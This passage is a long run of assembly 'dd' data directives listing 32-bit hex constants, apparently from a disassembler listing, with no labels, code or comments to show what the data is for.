		dd 0E8182E4Ah, 513A1E29h, 6ABFF74Dh, 45A089D7h,	136A932Bh
		dd 52AEF86Dh, 55A2977h,	0BF6E0077h, 7A1E733h, 6BE518A9h
		dd 0E02292AFh, 67417AF8h, 3519A368h, 0D34BD736h, 4CC3D128h
		dd 5AE064C4h, 493935ADh, 0DC251878h, 0C0ED5D11h, 36414529h
		dd 0AD354D21h, 0B320AD35h, 65310F1Dh, 926C5149h, 9E9122DEh
		dd 9E6C9EA0h, 873EA06Fh, 0F070631Ch, 46257DDBh,	1FE8686Eh
		dd 2A36B842h, 4D748655h, 11A3B7E3h, 0F5673E73h,	93DEF158h
		dd 9A911256h, 31D0E7F3h, 134CD4BEh, 3DED8CF0h, 0D6A157h
		dd 0A35A8772h, 91C40909h, 236E0545h, 14192A54h,	6E797264h
		dd 840A6E1Dh, 3A003074h, 73936990h, 35FFF45h, 568070C1h
		dd 8D9D7C1Ah, 21BBBD64h, 12B4B6C3h, 4B696A5Ah, 7A97F4D4h
		dd 0A992AD05h, 0B1A0869Ah, 0EA4C1BE1h, 52C4F69Ch, 89A180A0h
		dd 0FDFA220Ah, 0B784E434h, 0FE843953h, 0AAB2BFB8h, 2E53DE23h
		dd 3FF5BD46h, 9A3967E9h, 1F49ACD5h, 0F809E2A2h,	4E12F098h
		dd 7991F9D4h, 6A50D70Bh, 0C2F9F2B2h, 4F3D0107h,	0E9C17F3h
		dd 0C925E408h, 3ED04626h, 4C62C0BDh, 594E3C50h,	114D714Dh
		dd 0D23578DDh, 7725B379h, 0DBD1DB48h, 0A9DCD6E4h, 0E798A8A4h
		dd 141840FEh, 0B7083FCDh, 3BBB3BC9h, 38E17AABh,	0C51ACABEh
		dd 9748E40Eh, 31E0B6D8h, 62DF5992h, 0F607FD19h,	0FE8B0268h
		dd 0BC9BA235h, 8D484386h, 0C48613D4h, 9F0492C2h, 8787D8B4h
		dd 37A87CA5h, 5774C5E1h, 0B1672BEEh, 492578A1h,	455A4899h
		dd 1917742Eh, 0E2511435h, 0E071FEC9h, 2E531781h, 77FD909Dh
		dd 0DF5043B5h, 2599D2EEh, 3A5A7EA2h, 0A83D854Ah, 16ED5A49h
		dd 0C255AD2h, 0D968082Eh, 4312B24Fh, 0A57184C7h, 10FCC699h
		dd 0ED2FAEBDh, 9BD8E0D0h, 58597BB9h, 1C7E739Fh,	1DD6A02Fh
		dd 11EC9261h, 5557A558h, 80B2E43Ah, 0EEBE639Dh,	9FE16046h
		dd 15E358E8h, 5DCA9672h, 0B2CFFDC2h, 4067FA9Ah,	1DFBCB80h
		dd 0FC000FC4h, 4522498Ah, 75E6FBC9h, 546E3440h,	89763AA1h
		dd 9AFD5C3Bh, 0B5F46DECh, 9EE02CBAh, 0F600B8C9h, 92595C48h
		dd 0F31E85E7h, 0B686225Eh, 6C27A5D7h, 26885054h, 0D27B3BDBh
		dd 0E7B557C4h, 0BC18738Ch
		dd 3D2D9741h, 91B31DEAh, 3FFE776Ch, 742038F7h, 43396283h
		dd 0AD0DF92Dh, 0D8B69C59h, 6C3453B0h, 5E05290Ah, 0A92FD9C4h
		dd 0B9B37659h, 0EC33B553h, 0F535AD42h, 0CCAE512Bh, 4466F79Ch
		dd 0A36280EAh, 73ABC45Bh, 12EB4148h, 0CFAE53ADh, 3565B9C2h
		dd 0AD653F20h, 0F980EFA7h, 17B9FCF6h, 0B5B91C2Eh, 0FEB8967Eh
		dd 279F8A32h, 0FF0E6249h, 0E3A33CF0h, 950CB4EEh, 8BABC543h
		dd 5357FDCDh, 9C1D228Eh, 1E7D618Ah, 0A77D899Bh,	9530A391h
		dd 0A2E21511h, 92F5D845h, 549869D2h, 0CAB65E50h, 0E8925B52h
		dd 0F28476B8h, 8E8D6F31h, 0E5C6530Eh, 0DA4827AEh, 0FB2C9D3Ah
		dd 97C3D86Eh, 0B0CD529Eh, 7A24A6C4h, 6DBA00C5h,	450BE158h
		dd 91BFEB32h, 90891EB8h, 0F349F2ADh, 294D71F4h,	811391E4h
		dd 9C448A62h, 73DD877h,	0DCD1FE1Eh, 2CB4D707h, 935495CDh
		dd 0F06BC45Bh, 99BDE718h, 69CEBCAFh, 3B427AC0h,	0DBB687BFh
		dd 0BDECDDA6h, 0A47E2500h, 0AE9FF925h, 0B14F3D29h, 2C1C359Ah
		dd 9FA5E429h, 74400B5Dh, 964B7EADh, 188BA406h, 0F7FB56B1h
		dd 4114C301h, 0A6542B1h, 0C24B9BF6h, 0EBBCE2CDh, 3DC06D85h
		dd 7977E98Eh, 3328AD53h, 1C85BD2Fh, 6A2E230Fh, 8B9EBCBDh
		dd 89CA707Bh, 145A23D5h, 0AA1F22F1h, 2FBF72F0h,	11633998h
		dd 93EE53A7h, 1E1469E8h, 4849D13Dh, 99E884EDh, 0C98C20E9h
		dd 9AB62BDDh, 0C0FEA255h, 0BE4002E2h, 16EDB357h, 73428B07h
		dd 827E88B4h, 0AD9913DBh, 168C9BCDh, 83E74139h,	14AE1A82h
		dd 0B95A4CB3h, 3DAF3B65h, 431D14A3h, 0C697E499h, 3B3B4820h
		dd 41272169h, 4A34C771h, 4EBFF11Ah, 256CA26Eh, 0DD15D459h
		dd 0E1468C79h, 604E8E73h, 0C4DDA01Ch, 63468C5h,	51D4DE80h
		dd 640C1E20h, 3B07FF3Bh, 0E8C4CDDh, 2A2529F5h, 0D96B0489h
		dd 0E13E132Eh, 0BC62272Ch, 4A30EA39h, 0CB8AFC0Fh, 0D71590E9h
		dd 8B4675DDh, 44DC5FDDh, 0FEBF4B35h, 0A446C673h, 306B9395h
		dd 8EBF035h, 456FEC75h,	76E852FEh, 0F3A11C6Ch, 74E586B3h
		dd 0DF098101h, 0D5E0F5A7h, 7FFF96CDh, 94953B5Dh, 0D0035626h
		dd 0CB3BA190h, 6F5D0686h, 6FAAAA0Dh, 9FF4FFB8h,	8E78F36h
		dd 417BA933h, 9AA683D0h, 1BE3DF21h, 7BF8EB6Eh, 60C34BD3h
		dd 254B8EF8h, 0E2928DEh, 0B26A11F2h, 30B9A3A9h,	230D8726h
		dd 0BC926C5h, 0DBB204A6h, 0E5015976h, 4CEE455Ah, 643C5648h
		dd 4B71EBB4h, 0D8091B38h, 0D3C55C58h, 0E204CB3Ah, 8417926Ch
		dd 999DE7Ch, 0E7DA270Ah, 836F5E1Dh, 1A75767h, 0F0F23279h
		dd 0EEA02ED8h, 2BCDFABh, 0D064927Eh, 0F33367B5h, 99ACDCD8h
		dd 21B623D1h, 0E22E9D7h, 10D91B8Ch, 0CD3825A3h,	0B91ABB3Fh
		dd 876EB34Bh, 70280F4Ah, 9BB226D9h, 646C3436h, 1267F61Dh
		dd 0FCDCA648h, 0A8FD6A19h, 4F9CB6D8h, 3B2097DAh, 6C3318A9h
		dd 8647929h, 0E984F4E2h, 0DEEA847Dh, 0E6CB3F3Dh, 5FF571C4h
		dd 1C93CF3h, 1E8D93ABh,	181F6C70h, 67B0A2Ch, 62D6C740h
		dd 2CAC30EEh, 0E7776229h, 9D1521E0h, 0F890D928h, 5B074894h
		dd 723DB4A7h, 7775576Eh, 88C01A75h, 0CB104270h,	45B83389h
		dd 879D2CCCh, 0E9179249h, 34DF326Eh, 0C77C2DF0h, 7F9BB5CAh
		dd 1409A5CFh, 0E720A130h, 0EEBD9869h, 323A13DBh, 0E1FBE769h
		dd 1FC97E9Ch, 8B3B71C5h, 7F64CC03h, 2B30DF7h, 0B42504B9h
		dd 0BFDD977Fh, 0ED59FF89h, 5A546274h, 0A7A3FE20h, 57F5F474h
		dd 9337B4CDh, 7C54FAA2h, 0C782C5E4h, 0CC76F514h, 1819D935h
		dd 4AB7CBB8h, 26FC0E1Bh, 0D3BE5CE7h, 203CCD16h,	82D52E9Fh
		dd 0D7CC8370h, 0F8B1ABA8h, 0E21CF63Bh, 4D625887h, 0F86BE6Ch
		dd 4250BC4Ah, 0BF81A4F4h, 28B75B94h, 0BD418222h, 9A5FC101h
		dd 0D5119590h, 7E289D95h, 6E470CA7h, 34C5764Fh,	0C8EE86DBh
		dd 967196B0h, 35B29906h, 0F14CBD5h, 71E24851h, 1C06534Eh
		dd 0F3EAEBCCh, 94297C6Dh, 51887FD2h, 11521E57h,	75D5339Fh
		dd 0B2163572h, 2F7EBE33h, 0A50DB8D5h, 8A7E2h, 36F2BA03h
		dd 0F4C3CA41h, 37B7B669h, 35208ED8h, 2090058Fh,	24D0B08h
		dd 4E3AEEFFh, 0AD878639h, 51C19A2Bh, 548DAE26h,	0C0D01870h
		dd 4E899BCBh, 0F2D19460h, 0C4A0FC7Eh, 0B033BE1Dh, 0DAFA96E4h
		dd 2B10ECD2h, 0B6FFF945h, 61504AE0h, 8A391DBCh,	0FB10B19Dh
		dd 89AB2870h, 93D48E18h, 0ADE65AB5h, 0D16D8D54h, 8BF18864h
		dd 0F3DB00A6h, 440EF2A7h, 0E529B8D4h, 0DF593177h, 3A0C814Bh
		dd 0F9B67764h, 36184C6Bh, 0B0685747h, 976BB637h, 81242D06h
		dd 5541C12Ah, 0E1BED7EBh, 21E6804Ch, 0AA179A25h, 80CB16F5h
		dd 0E7AABF38h, 7449917h, 0EBCA969Eh, 0B59344D2h, 4A702F1Eh
		dd 4BA81EB2h, 3397A35Ah, 62F59F33h, 0B62BF5B9h,	3A025865h
		dd 0C59489E1h, 0CD4CE9EDh, 44178195h, 16C2024Dh, 0BC2FCB2Eh
		dd 47AB4EBCh, 456FA424h, 4BB10CD6h, 9287ADFBh, 22CC4B25h
		dd 9DAAE8C8h, 0B869E385h, 8C821886h, 8B03FD83h,	0E72B7406h
		dd 0E4719298h, 80ECF322h, 237DCDAEh, 0D30F31D9h, 3CAE245Bh
		dd 0B9B69A29h, 4F79397h, 72DC42ADh, 905D16Dh, 2C69BFF3h
		dd 741208A2h, 65214232h, 0E479EE14h, 660C522h, 0BA000283h
		dd 0A56D7F85h, 57B56E75h, 4FAE40C6h, 0D516E206h, 7DF90B56h
		dd 2243A2C7h, 178F3F88h, 0D6271FA6h, 15578602h,	3FE1F5CEh
		dd 4AD56537h, 4D7FB676h, 0C551763h, 26716349h, 2085D245h
		dd 3A1521F0h, 12354E03h, 0F3C774FCh, 0CA1882ECh, 182FD728h
		dd 2CA2D019h, 0B328742Ah, 31871DE7h, 4F0C50DCh,	0E4509E5Bh
		dd 45C1435Dh, 288CF46Eh, 0E3E728B4h, 67E10A23h,	0E615546Ch
		dd 80492112h, 5E2181C6h, 21AEA90Dh, 0A0656A05h,	0DABA571Bh
		dd 0B94D63E5h, 7E8EC870h, 25691733h, 0AC1B7128h, 0E05C1468h
		dd 1E420062h, 0FE3B6D55h, 0ECFD0EF9h, 6590EBC4h, 650B7E9Bh
		dd 0D65A058h, 26945451h, 91CC0CB2h, 0F59D727Bh,	759BF6BEh
		dd 5027A1C4h, 14A5A124h, 6771A9ABh, 8C841376h, 0DB5305BDh
		dd 0EF9C7C69h, 7026E113h, 436E38A0h, 0CA7BC70Ah, 9B10E7Dh
		dd 0BAE272Fh, 6835DDB2h, 465574B7h, 0A3C273C9h,	876BF973h
		dd 17EDB985h, 699C00ECh, 9E54C0C4h, 0CD7B6FE2h,	0E0DA6036h
		dd 427E73C7h, 396CB5EAh, 0F2B71331h, 588797F3h,	6F1A027Fh
		dd 9FDD4ABBh, 0A2167364h, 1253D49Bh, 7C5E2799h,	9F7ED904h
		dd 6776E420h, 4E2DDC0Ch, 0D491B791h, 32C8B07Dh,	0D4500F9Fh
		dd 76B7BFADh, 0B4E4E42Bh, 97DAFDB9h, 33EAE5B8h,	599842E1h
		dd 23D9AC3Ch, 3F40C99Eh, 5549851Ch, 0F881D7BFh,	0B61FF0B1h
		dd 3598FE06h, 7351741Ch, 26169D4Eh, 3AC4FA6h, 7FCCB3DBh
		dd 25F998FBh, 7C700F94h, 1FEC930Eh, 697DB6A9h, 8C5448EFh
		dd 3F93900Eh, 0B219794h, 7B00937Eh, 12C6149Ch, 1E35789Bh
		dd 8A857783h, 0BD01B249h, 8B664A5Ah, 86565A1Dh,	591F5A3Fh
		dd 6BAA7EA6h, 17C72A7Bh, 7A56F484h, 877DBA3Ah, 5A8FEFDAh
		dd 8AEC81A7h, 2D456B6Bh, 0CDA230F5h, 0A1463A18h, 34ED5D5Dh
		dd 9059B0AFh, 505C9C4Bh, 9D7DBC23h, 30D7CFCCh, 0E110EAD9h
		dd 0B0FCEB47h, 0DD7CEAECh, 0A2B33C4h, 8902A0F2h, 3DA3B537h
		dd 0E02B891Ch, 0FF0C3C5Ch, 43DE9201h, 0DAB84FDEh, 5616975h
		dd 0B191A7A9h, 4301B8DAh, 6BF20B6Ch, 5CEACA34h,	191F0362h
		dd 852B733Ch, 3FE1A23Fh, 202329C4h, 8317A87h, 0A6D5091Eh
		dd 0AAF251B9h, 0E819E12Bh, 2822B366h, 898521ADh, 2A4847CCh
		dd 0D444BD1Ah, 271A83DBh
		dd 3C44D9E0h, 0BD0E440Bh, 0A354A042h, 0BF5740FAh, 3A9B36ABh
		dd 2BDF1467h, 0F0B79B16h, 149715ACh, 0F2B8FF60h, 0CD9CB8F3h
		dd 46DD56B2h, 0E9AB410Ch, 8A535842h, 0A036F887h, 0ABDC2258h
		dd 85B829DCh, 0DDDAB535h, 0F8F507FEh, 0E1270952h, 64AB8449h
		dd 38F080B6h, 35258D13h, 0A01D992Dh, 33BF5AAFh,	9F04EF32h
		dd 0A9F937FDh, 53D05030h, 0FA126A53h, 152C7826h, 2B95DFE2h
		dd 5B7E00Ch, 0ABC330A7h, 77E974BBh, 5D2FD3E6h, 0A1D21DC3h
		dd 9C991DF3h, 7D6505ABh, 12883ECh, 12FB52AEh, 0BFB8919Eh
		dd 83A5885Bh, 0CA59C055h, 0F3F4A6E4h, 2CE9656Bh, 28FDBE71h
		dd 5353E879h, 0AD586E9Eh, 0E869E02Eh, 9593359h,	2BB94BB2h
		dd 28770CA3h, 0DA9091F6h, 0C92153B9h, 0A84FD79Ah, 6B821EC3h
		dd 3555FBA5h, 0EC479B28h, 0DA8E585Fh, 0DBB32A89h, 620D83FDh
		dd 84DE4019h, 2F2E5CD2h, 53FC1ED0h, 7C8E517Dh, 0DD1CC801h
		dd 27707A86h, 2F27490Ah, 99D20670h, 0B90593BEh,	8EF3650Eh
		dd 0FBE5166Fh, 4E1855BFh, 7500F62Fh, 91E0855Fh,	0B080C2DEh
		dd 0C7025B43h, 3FBC3B29h, 58B860D5h, 542C5E0Eh,	68B6ECCCh
		dd 89CC8BC1h, 0A77ABEE0h, 82326983h, 0AAC6A23Fh, 33B310BEh
		dd 0A7A50592h, 99DC5E96h, 5E08A6C4h, 0E123E8FAh, 55DBD75Ah
		dd 1966C45Bh, 0BEB0C289h, 83D94635h, 0CA72808Ah, 75C5E88Eh
		dd 6DFB0E6h, 6C5D819Dh,	7E8D515Dh, 5E67B22Fh, 43CA940Fh
		dd 63443553h, 0B5F3E992h, 10587FB0h, 0DFA25F6Eh, 0F4FF9CA5h
		dd 50AFC16Eh, 0AD4B98FCh, 61672647h, 0EF75EB9Ah, 0EDA27A8h
		dd 0CCDFE1D2h, 26CD51FCh, 0C514D64Bh, 0E7A570E1h, 32965A63h
		dd 0A0A7FAB3h, 0FD3D5079h, 646CDDA4h, 601DCE57h, 0D4B5E052h
		dd 0F60459BAh, 55C066ABh, 0EA8A0B8Ah, 88F501E2h, 0F5F15806h
		dd 91E630E7h, 6B5F2635h, 4CB46043h, 5F1452B9h, 83DE1029h
		dd 1E3ABD58h, 0E63C1B7Fh, 58766164h, 73BCABA5h,	0B4A11E8Dh
		dd 0C45FD005h, 771A217h, 0F3F40CF7h, 0E3763927h, 75E2EA74h
		dd 0C92C11DCh, 80ED60D8h, 0E75804C9h, 4758C83Bh, 3744AB56h
		dd 0FB27FF4Dh, 18DFD243h, 9554A564h, 0B3C775FFh, 152B5C3Ch
		dd 0AECBD524h, 8E056A3Fh, 47F4DE1Dh, 161AEBF4h,	8A8EC7FCh
		dd 68AFA730h, 7D37D523h, 7CBE6479h, 0E7AEF8ADh,	97A8FE98h
		dd 0BD86625h, 19E67412h, 13F7EEACh, 891E95B2h, 1FFA8996h
		dd 58C2326Bh, 552863D3h, 138275E2h, 0B3DA329Dh,	5E7DB7F9h
		dd 77A68F05h, 28499F18h, 941D4E56h, 0F1028532h,	5C23348Ah
		dd 90C8557Ch, 43FF3334h, 5F7350F5h, 69E8F79Eh, 2A39F329h
		dd 7762BEC2h, 647D178Bh, 3D7E4E9Ch, 56C37AB5h, 0F7B3EED2h
		dd 0C3A29F6Eh, 0BD4BBA79h, 14C636AEh, 29136CCCh, 514EDAFBh
		dd 0B5D3C90h, 4D931BE1h, 0A741FF75h, 70942972h,	0D400E983h
		dd 7F773BC9h, 2E3A4865h, 4FBB39ADh, 8F3830D4h, 9D5C2609h
		dd 762DFC8Eh, 864B373Eh, 0BF16CF8Bh, 0D074422Fh, 0DEEB468Ch
		dd 0AEE0CB99h, 31757460h, 1E4AFB5Fh, 0C2747F07h, 0BA4FF3C9h
		dd 105BD5h, 0CC488211h,	6F12FC2Ch, 46DBE8B2h, 892AF959h
		dd 0C81937FAh, 7E064CA3h, 3772A8AFh, 62AE23E7h,	0A7FC4DD4h
		dd 0AF75B0E8h, 0B8705A01h, 0F2FBF35Ch, 2E4496CAh, 8F01048Ah
		dd 0CB1B704Ah, 0E1F7FE3h, 2D005EC6h, 0E3EF7379h, 0A77F9009h
		dd 0EE0B7D9Fh, 2C5590F3h, 3648173Ch, 0EA9C715Ah, 4AC68E0Eh
		dd 5B213F37h, 0F763F1A6h, 74E9E9ACh, 4C78AFE6h,	7588F99Eh
		dd 4EA3538Bh, 0B528417Eh, 698AC985h, 44A77060h,	6D755F01h
		dd 30F418D3h, 5DA56FAh,	0FF7DF7C9h, 9C82020Ch, 0F27D892h
		dd 144174ACh, 7AF928D8h, 214502F4h, 15AD9029h, 9E66D78Eh
		dd 0C6D04C66h, 975CB996h, 0A3D24FBh, 0FFC325BFh, 538D8136h
		dd 624EC772h, 8E26DE1Fh, 0E4993070h, 0C5E5F42Fh, 0A15B7DBEh
		dd 0FEC84316h, 0E3F9F980h, 71F12D5Eh, 0E1BF14E2h, 0B572F9DEh
		dd 78E05047h, 3E706BE5h, 0B640D23Dh, 9BD87DB7h,	8F3D4ED0h
		dd 49BC143Ah, 4FC49330h, 3C56C82Ah, 0DEBAFC32h,	92CC76E5h
		dd 0F8F03466h, 0BAA1453Bh, 0DC310C4Ah, 594D74DFh, 0C157F45Fh
		dd 9200CBEEh, 84C001EBh, 551A3DB0h, 532C74C1h, 0A66F1463h
		dd 7CA4FB1Ah, 0AEDDEEC9h, 0B8D7A874h, 0CB0D3B33h, 51797CA9h
		dd 266A8EE2h, 13869038h, 0A975BCD5h, 63B58E7Bh,	176CC7F0h
		dd 70923491h, 4C499266h, 92B7D040h, 0A7FFD980h,	0D63F7819h
		dd 74E4E1A9h, 0CF74A05Fh, 31E1DA0Fh, 0B38263E4h, 7FCFFF11h
		dd 0CF6E4299h, 0AA04650Eh, 8460BE0Bh, 90BF8E67h, 0C9EB9CD0h
		dd 0C9B0D2EDh, 7F3102EFh, 102CECC6h, 0E65F364Fh, 633B1CC0h
		dd 5480AF78h, 993AD4C5h, 6B3E1AADh, 0F10107A5h,	0D9C178D0h
		dd 4DE75D20h, 0A8B0B7BFh, 0C817754h, 0B7E981A5h, 904EE5E8h
		dd 3025517Ch, 8F6CC69h,	547EF68Eh, 67F4875h, 59401F63h
		dd 9769725Ah, 0F3A838C4h, 99A603D8h, 88DCB3F8h,	24ED5D01h
		dd 0CD0BA1EFh, 0D7562222h, 1542D28h, 940E31ADh,	778761C1h
		dd 57206FEDh, 1F8A2AD8h, 227E9D1Eh, 4D2B565Ch, 70842359h
		dd 3A49414Fh, 69F953EFh, 0F9A1DC8Eh, 81DA2D24h,	59FCD005h
		dd 940746BDh, 92315D28h, 1B6A5B9Dh, 0C02A2CF8h,	904F7AFDh
		dd 0CDB38739h, 0C219687Ch, 93BF763h, 0EB867035h, 0B905055Dh
		dd 0F0CA4A1Bh, 2256DBB0h, 17923EAAh, 853F82ACh,	0F3673437h
		dd 4A393388h, 215ED327h, 3A69D0C2h, 0F61C20BDh,	684BB0EBh
		dd 0F8CA7249h, 8CCCA654h, 38791072h, 9697F62Fh,	714318CCh
		dd 7E3AE3DCh, 889A9099h, 45A16C2Ch, 2A516B24h, 87B184E2h
		dd 7DA0F5FCh, 0BF702438h, 0CA312459h, 80AA5EBAh, 49A3DE1Bh
		dd 0F825F573h, 0EB25E0h, 28D24420h, 6A55443Ch, 25F5D8F8h
		dd 4C544FACh, 0F78FE3E7h, 0D3725D73h, 0F73DED94h, 0B45DE15Ch
		dd 0DC325A29h, 96FC3E7Fh, 45C3AA68h, 9C5AAB2h, 18B6992Fh
		dd 1F5CB4E5h, 3204D267h, 534C28E8h, 0E9B8488h, 0ECCC274Ah
		dd 79C89882h, 0E457B469h, 0B557D24Ch, 2BC3DFD1h, 7AA5FE9Eh
		dd 7CD9B7Dh, 47777CF5h,	2F7C1377h, 0F9605C2Eh, 62D664ECh
		dd 0B0A8702Ch, 55DE6B7h, 9176E368h, 0EFD905E1h,	89D85909h
		dd 0AF21300Dh, 0BE1BD27Fh, 6D3288CDh, 0CFDB25B6h, 0B557CE0Fh
		dd 4B3DD206h, 2F0458A2h, 5CBBD25Eh, 0B092E845h,	0E1D7FCF2h
		dd 16C20F97h, 0E48DFA84h, 0CE53C42h, 0D4E88B92h, 0D0B288C1h
		dd 799D25EEh, 82502B2Ch, 56E48E87h, 6D3A4E96h, 9E9C2715h
		dd 3845FF5h, 0F4BDAE07h, 1229586Ch, 0CACCDA02h,	0B5B2EE64h
		dd 0B0C6995Fh, 3918EE12h, 0A423B255h, 68EA0FD0h, 0F9E5D1E0h
		dd 6D0B20D6h, 0FA9ADB3Eh, 399A0F05h, 2B3476FCh,	81829D9Ch
		dd 5B06CD68h, 2A61FB86h, 6FCEFE87h, 7F9836CEh, 21EC5283h
		dd 0D7AB29Ch, 0F609C89Ch, 14755814h, 762289BDh,	8FB79240h
		dd 637F62D9h, 68B8FF30h, 0CA40383Eh, 91D92C80h,	0D9678DAFh
		dd 16A2D5E4h, 1CA2F469h, 0B6D542DAh, 0FC5E2B66h, 6BD65BEBh
		dd 3B958A9Eh, 5F2C6DAAh, 2B66AA5Ah, 738B0A62h, 0BD2F9E85h
		dd 0EEE85F12h, 0FE104AFAh, 3D02FA29h, 0FDFE9CFCh, 85D4D67Ah
		dd 0C36BACBBh, 846B1263h, 6B09A659h, 0C6A53BA9h, 0D99FC180h
		dd 2FCB16BCh, 5200824h,	5A6BEF4Dh, 97A0AE2Dh, 9C35C3E0h
		dd 8762EA7Dh, 0D7F40510h, 4B08D33Bh, 916BBD50h,	971F62B5h
		dd 9B1D57A9h, 7DD8D349h, 184DB09Fh, 0BB02E266h,	0F9538D24h
		dd 8FFA7011h, 0DE3CA1AEh
		dd 0F8789638h, 8D3B91F7h, 0A2B9EDA3h, 8D77D8C8h, 0CC4F1476h
		dd 0C54852EFh, 808267EFh, 0AA702A0Bh, 0CF13E228h, 373116A9h
		dd 0CA303EA0h, 33143170h, 0AE27856Fh, 228B759Ah, 0AC930C1Dh
		dd 98E2EDD9h, 24FB9E15h, 0FB2DE3CBh, 3EB081ACh,	0CE73BD52h
		dd 8F7FC53h, 0D30CE1B6h, 75C5753Ah, 91C43BAEh, 704E3CBDh
		dd 0E1B750A0h, 0A960A477h, 0AAE8C21Dh, 0BB159C02h, 0E6E016D4h
		dd 0AB7153BFh, 0D4968C15h, 495F1BF2h, 77A55365h, 0E65D21A0h
		dd 4A55123Ah, 2E8F8EE9h, 686744A2h, 854AC12Ah, 0FF21110Bh
		dd 81E049EDh, 0F282F4E7h, 1DB8A73Bh, 49C85C24h,	0E4FD1900h
		dd 1C5FA481h, 1A783CD8h, 295B87F7h, 2FE1630Eh, 196378DFh
		dd 0FD704C58h, 7EA12792h, 6F127B51h, 0AFD3756Eh, 522129B5h
		dd 441DF150h, 2CB3944Fh, 0F36643BAh, 0C178AE37h, 0B94B304Ch
		dd 0CA333953h, 59087550h, 3991388Fh, 0F619752Ah, 6A5055F6h
		dd 0D3E5E895h, 9D714635h, 8080292Ch, 1E27E757h,	8D554A9Bh
		dd 8CAF6B94h, 3FD41B1h,	0B697EE3Bh, 0C18C7E39h,	6363B06Ah
		dd 0EE5CC787h, 6E50640Ah, 0E9DEC7DAh, 15378744h, 1D0B707Fh
		dd 0D9010175h, 2CDDCB6h, 0A0D470DAh, 6AC79524h,	73C80484h
		dd 2BA90C84h, 0A465B6DDh, 98AEBB53h, 9AF98C4Fh,	0F87FE3E4h
		dd 6E96E70Bh, 8C82E071h, 0EE3766D5h, 506BED63h,	0D1C22171h
		dd 5B15CCA3h, 0B6B98334h, 0BB9B9E47h, 96CC662Fh, 0E2FA61CFh
		dd 2903EE2Fh, 7ABE004Ah, 0CFE98E40h, 6894B36Eh,	9803F824h
		dd 0DD68E951h, 0E151E466h, 87AE5EC6h, 2C04C4DCh, 35F33765h
		dd 107B223Ch, 49C5764Ah, 0C6723D8h, 67522A98h, 135FDF37h
		dd 5DD8815Dh, 31D0A950h, 35332A84h, 0BBC107FBh,	153228EDh
		dd 0D836001Ah, 2635D4FEh, 8FA5DFCBh, 5256B4EAh,	5E5157A4h
		dd 0EE5E7306h, 29C999C9h, 6F34BE7Ch, 1E5F24CAh,	6594876Eh
		dd 0A90321A8h, 0E6B1CEDEh, 12A08724h, 82F1AA8Eh, 922D3AF1h
		dd 52E0D30Ch, 0F5B33911h, 0A7AFE064h, 74C669BFh, 0F079F4ECh
		dd 0FB67D773h, 4BF851D6h, 9BFADD59h, 0E39D7379h, 88FB3985h
		dd 0DD47E2Ah, 0F608BFF1h, 0E647560Eh, 0FB41176Eh, 37552D03h
		dd 5DA661ADh, 0E01F9066h, 0A07750B7h, 6AE57B08h, 0F9FB7CAFh
		dd 238300B6h, 540E8357h, 0F6244F7Bh, 13DAD60Ch,	8633D074h
		dd 38E10BB2h, 66EE6C6Ch, 0ABB4F04Bh, 8190DAFBh,	0FEC1BC0h
		dd 0E697BE36h, 0B7186DA6h, 88FC83CBh, 896DCA83h, 0A2F47FABh
		dd 25F2DCA2h, 7E8B6A61h, 70203870h, 3E673C9h, 5E080DB8h
		dd 0B2B4F382h, 11D92F39h, 2BB62CB2h, 0E2F24098h, 1DE11C7Eh
		dd 0AED00C5h, 0A83B2D65h, 0AA472D39h, 29603868h, 16F68B00h
		dd 0D7DAC3DEh, 69C681ECh, 3D36FF24h, 79E11DDDh,	1E737D4Bh
		dd 0BEBA2E4Bh, 0CF67A6BCh, 8E0A58EEh, 1F58D3EFh, 5EB77BFBh
		dd 0FB65B00Bh, 2D7D1BE4h, 62A11EDEh, 2017E9C9h,	68338853h
		dd 0B00C2AD9h, 3E9C4F5Ah, 0AF6EFB2Fh, 0BFA74056h, 38EA5B8Ah
		dd 0DEF42D43h, 0C62FAE3Dh, 567A39FAh, 0CF206846h, 292CEAE9h
		dd 18F296D4h, 0DE712DDEh, 0BA2628AFh, 7BC054FEh, 9A817995h
		dd 0EC1341F5h, 95F60889h, 6F2F88FBh, 154AFE65h,	9C8A42D4h
		dd 3AA0AE65h, 0D1BC092Eh, 8937B1E6h, 0A38EDCAh,	72D68AF7h
		dd 700CF0CDh, 61ABA1EEh, 89F08128h, 7F8A9113h, 14E09596h
		dd 0B7DEE1D9h, 71FCA676h, 987FE0ECh, 9E918976h,	0AB3F64C1h
		dd 775DC854h, 1CB7533Eh, 288541A2h, 4A31A3BCh, 0DDAB59AEh
		dd 5E57C67Ah, 911F24FCh, 0EEF79A2Ah, 3D247B08h,	73AEFFEFh
		dd 0C16D6074h, 0F23FEC79h, 1358FBB7h, 9D43716Ch, 0E5A486F3h
		dd 869624EDh, 58D8EC1Eh, 87398BEDh, 56A48DEAh, 0D78A3725h
		dd 3AD5826Bh, 0C26D45E8h, 0A1D79B5Bh, 0F7D5F3DDh, 2908C16Dh
		dd 7D9F48D8h, 0EB302B8Bh, 8473278Eh, 0F2A69895h, 92E4708h
		dd 96FDA44Ah, 0B786E28Dh, 94CB6463h, 2A4726E8h,	2C86A2FFh
		dd 0CE4C7D7Eh, 287A9540h, 0BEC14BC9h, 0E05F18B1h, 68EDC127h
		dd 595C858Fh, 0CA7896F2h, 0BAA8E98Dh, 1748149h,	6F03040Ah
		dd 2A71FA24h, 0D5FCA3EFh, 86BEF3FEh, 1FE5499Dh,	19979699h
		dd 1C00B16Bh, 0B060927Ch, 854C5E0Ch, 0DE919B03h, 0FCDEE0Ah
		dd 0D3783FE6h, 0C7A71F18h, 0BE26ED1Ch, 967071B4h, 3A33F96Dh
		dd 0A353237Ch, 0AB0D5CEDh, 98844E9Ch, 7DE70C89h, 14C38AACh
		dd 0FDABB984h, 0F8B74F3Eh, 0FB9BF031h, 35CD7E5Ah, 0D41DF292h
		dd 26F2719h, 55EBB67Ch,	1DBC2660h, 0F5C01C42h, 191B0FBEh
		dd 0FABC5E4Fh, 0A76F410h, 173B9B17h, 10EC462Fh,	1EB57F40h
		dd 2F290D68h, 352C8FE7h, 0CDB4E837h, 9EFE1B5Ch,	0CB08DA05h
		dd 33799AFDh, 1CF9FC80h, 0FB48A109h, 1ADF4728h,	26DED5Fh
		dd 45266519h, 51007AD3h, 4301B8EBh, 83D41310h, 268C736Eh
		dd 0FA95EAF1h, 38968DD3h, 4943DE31h, 2C1649FFh,	6A96952h
		dd 45F94970h, 94C48C0Eh, 416FD3B9h, 0AD0D79FFh,	5A642428h
		dd 8EE4E0A3h, 0D0DD6332h, 0E2A69763h, 23A68946h, 0F03320A4h
